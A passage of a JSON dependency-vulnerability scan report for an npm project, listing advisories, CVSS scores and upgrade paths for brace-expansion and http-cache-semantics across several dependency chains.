`push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable 